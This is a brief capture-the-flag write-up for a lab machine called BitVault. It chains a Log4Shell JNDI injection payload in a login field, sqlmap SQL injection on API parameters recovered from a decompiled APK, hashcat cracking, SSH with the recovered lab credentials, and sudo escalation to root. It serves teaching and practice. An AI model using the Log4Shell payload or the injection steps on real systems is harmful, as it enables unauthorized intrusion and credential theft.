BitVault Writup

Author: Akshika, Keerthi, Sai, Sreehitha

Static website hosted on port 80 for BitVault is the main website when accessing the ip.

There's a login website running on port 8080 . login for non-admin users display a warning message .

It has a vulnerable implementation of the the log4j vulnerability with the logging website

CVE-2021-44228(Apache Log4j)

```
${jndi:ldap://localhost:1389/Exploit}
```

Payload inserted in username text field.

Setup an LDAP server which will be queried by the log4j library for logging

Jndi injection in login page in the username parameter gives the user shell and finally the user flag

An apk is found in the shell too.

Reversing the apk using tools like ghidra reveals info

Apk exploit steps :

Get the email and invite code for loggin into the website using SQL injection

Find the api link (http://127.0.0.1:5000) and the parameters (email, invite_code) used while decompiling the apk
Parameter email and invite_code are vulnerable to sql injectiion

Using sqlmap on the parameters, we can get the email and the invite_code of Hax_BitVault user

```
'Hax_BitVault@yourmail.com', 'cc87e2770f312a9d8f340b23ba82c7c25
```

Reversing the app gives the idea:

```
brute force a hash( hashcat ) which is made by hashing last 6
characters of the invite code and the 8 digit password
then you get the password
```

Ssh into the root user shell with acquired creds: Hax_BitVault:25430304

The user have sudo privs

```
sudo su
```

Box pwned